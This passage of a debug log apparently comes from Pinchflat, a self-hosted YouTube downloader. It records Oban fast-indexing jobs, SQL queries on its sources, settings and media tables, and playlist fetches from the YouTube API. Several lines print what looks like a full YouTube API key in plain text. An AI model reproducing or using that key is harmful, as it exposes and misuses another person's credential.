"JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 17:57:16.258 [debug] QUERY OK source="media_items" db=0.4ms idle=143.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:57:16.259 [debug] QUERY OK source="tasks" db=0.0ms idle=138.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800334, 3, ~U[2026-02-10 23:57:16Z], ~U[2026-02-10 23:57:16Z]] 17:57:16.259 [info] {"args":{"id":3},"id":3800295,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":313654,"event":"job:stop","queue_time":303862,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:23.770 [info] {"args":{"id":32},"id":3800296,"meta":{},"system_time":1770767843770674503,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:23.770 [debug] QUERY OK source="sources" db=0.1ms idle=1892.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 17:57:23.771 [debug] QUERY OK source="settings" db=0.0ms idle=1892.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:23.771 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:23.771 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:23.771 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 17:57:23.771 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:23.771 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:23.871 [debug] QUERY OK source="media_items" db=0.6ms idle=99.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", "ZciRYLMZ5IA", "DTAMCqI104A", ...] 17:57:23.872 [debug] QUERY OK source="media_items" db=1.1ms idle=100.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 17:57:23.873 [debug] QUERY OK source="tasks" db=0.1ms idle=102.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800335, 32, ~U[2026-02-10 23:57:23Z], ~U[2026-02-10 23:57:23Z]] 17:57:23.874 [info] {"args":{"id":32},"id":3800296,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":103141,"event":"job:stop","queue_time":922558,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:28.775 [info] {"args":{"id":36},"id":3800297,"meta":{},"system_time":1770767848775742452,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:28.776 [debug] QUERY OK source="sources" db=0.1ms idle=1897.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:57:28.776 [debug] QUERY OK source="settings" db=0.0ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:28.776 [debug] QUERY OK source="media_profiles" db=0.1ms idle=897.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:28.776 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:28.776 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 17:57:28.776 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:28.776 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:28.897 [debug] QUERY OK source="media_items" db=0.7ms idle=120.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 17:57:28.898 [debug] QUERY OK source="media_items" db=0.7ms idle=121.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 17:57:28.899 [debug] QUERY OK source="tasks" db=0.1ms idle=122.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800336, 36, ~U[2026-02-10 23:57:28Z], ~U[2026-02-10 23:57:28Z]] 17:57:28.899 [info] {"args":{"id":36},"id":3800297,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":123886,"event":"job:stop","queue_time":526684,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:30.019 [info] {"source":"oban","duration":11611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:41.790 [info] {"args":{"id":23},"id":3800298,"meta":{},"system_time":1770767861790713578,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:41.791 [debug] QUERY OK source="sources" db=0.1ms idle=912.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 17:57:41.791 [debug] QUERY OK source="settings" db=0.1ms idle=912.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:41.791 [debug] QUERY OK source="media_profiles" db=0.1ms idle=912.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:41.792 [debug] QUERY OK source="settings" db=0.7ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:41.792 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 17:57:41.792 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:41.792 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:57:41.914 [debug] QUERY OK source="media_items" db=0.6ms idle=122.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 17:57:41.914 [debug] QUERY OK source="media_items" db=0.3ms idle=123.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 17:57:41.915 [debug] QUERY OK source="tasks" db=0.1ms idle=123.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800337, 23, ~U[2026-02-10 23:57:41Z], ~U[2026-02-10 23:57:41Z]] 17:57:41.915 [info] {"args":{"id":23},"id":3800298,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":124916,"event":"job:stop","queue_time":528187,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:43.793 [info] {"args":{"id":34},"id":3800299,"meta":{},"system_time":1770767863793792594,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:43.794 [info] {"args":{"id":10},"id":3800300,"meta":{},"system_time":1770767863793832639,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:57:43.794 [debug] QUERY OK source="sources" db=0.0ms idle=1872.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 17:57:43.794 [debug] QUERY OK source="sources" db=0.2ms idle=1878.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 17:57:43.794 [debug] QUERY OK source="settings" db=0.1ms idle=1007.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:43.794 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:57:43.794 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:57:43.794 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 